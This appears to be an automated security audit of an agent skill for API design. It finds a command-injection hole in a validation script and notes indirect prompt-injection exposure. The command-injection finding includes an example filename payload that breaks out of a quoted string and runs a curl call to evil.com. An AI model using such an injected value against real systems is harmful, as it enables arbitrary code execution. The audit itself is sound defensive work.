The Agent Skills Directory

[COMMAND_EXECUTION]: The scripts/validate-spec.sh file contains a command injection vulnerability in its fallback validation logic. The $SPEC shell variable is directly interpolated into a Python command string (python3 -c "... open('$SPEC') ..."). An attacker who can influence the filename passed to this script could execute arbitrary Python code by providing a filename containing a single quote and malicious commands (e.g., file.yaml'); import os; os.system('curl evil.com')#).
[EXTERNAL_DOWNLOADS]: The helper scripts scripts/generate-mock.sh and scripts/validate-spec.sh use npx to download and execute the @stoplight/prism-cli and @stoplight/spectral-cli packages. These are well-known tools from Stoplight, a recognized service for API development, and their use is consistent with the skill's stated purpose.
[PROMPT_INJECTION]: The skill uses role-play instructions to establish the persona of an API architect. No malicious override patterns, safety bypass attempts, or instructions to ignore system guidelines were detected.
[DATA_EXFILTRATION]: No patterns of sensitive data access or unauthorized exfiltration were found. Network operations are restricted to fetching established development tools from the npm registry.
[INDIRECT_PROMPT_INJECTION]: The skill acts on user-provided API descriptions to generate and validate specifications.
Ingestion points: User descriptions of API resources and endpoints enter the context via triggers defined in SKILL.md.
Boundary markers: The instructions do not define delimiters or warnings to ignore instructions that might be embedded in user-supplied API data.
Capability inventory: The skill has the capability to execute shell scripts on the resulting specification files.
Sanitization: There is no explicit sanitization of user-influenced content before it is processed or passed to shell arguments.

api-design-first